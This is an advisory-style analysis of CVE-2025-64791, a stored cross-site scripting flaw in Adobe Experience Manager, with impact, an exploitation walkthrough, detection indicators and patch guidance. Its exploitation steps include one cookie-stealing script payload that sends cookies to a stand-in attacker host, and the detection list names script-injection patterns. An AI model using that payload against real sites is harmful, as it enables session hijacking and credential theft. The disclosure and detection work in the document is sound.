CVE-2025-64791: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64791 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields, which is then persistently stored and executed in the browser of any victim who visits the affected page (stored/persistent XSS). Exploitation requires user interaction (a victim browsing to the page containing the malicious payload) but does not require elevated privileges beyond a basic authenticated account. The changed scope indicates the injected script can affect resources beyond the vulnerable component itself (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. The changed scope means the impact can extend beyond the AEM application itself to affect end users and downstream systems. Confidentiality and integrity are both impacted (low), while availability is not directly affected (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or web fingerprinting tools.
2. Authentication: Obtain or use a low-privileged AEM user account (e.g., a content author or contributor account).
3. Identify vulnerable form fields: Browse AEM authoring interfaces to locate form fields that do not properly sanitize user input before storing and rendering it.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Victim interaction: Wait for a victim (e.g., an AEM administrator or site visitor) to browse to the page containing the stored payload.
6. Payload execution: The victim's browser executes the injected JavaScript, enabling session hijacking, credential theft, or other client-side attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints containing suspicious script tags or encoded JavaScript payloads (e.g., %3Cscript%3E, javascript:, onerror=).
• File System / Content Repository: Unexpected JavaScript content stored in AEM JCR (Java Content Repository) nodes, particularly in form field properties or rich text fields.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual referrer headers pointing to AEM pages in web server logs.
• Process/Browser: Unexpected redirects or pop-ups experienced by AEM users when browsing authored content pages.

Adobe has released patches addressing this vulnerability. Users should upgrade AEM on-premises to version 6.5.24.0 or later, and AEM Cloud Service users should ensure they are on release 2025.12.0 or later. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation. Organizations should also review AEM content for any previously injected malicious scripts and audit low-privileged user accounts for suspicious activity (Adobe Advisory).

The vulnerability was noted by the Center for Internet Security (CIS) in their advisory covering multiple Adobe product vulnerabilities in December 2025. Tenable published a Nessus detection plugin (ID 278346) shortly after disclosure. No significant independent researcher commentary or notable social media discussion has been identified for this specific CVE (CIS Advisory, Tenable).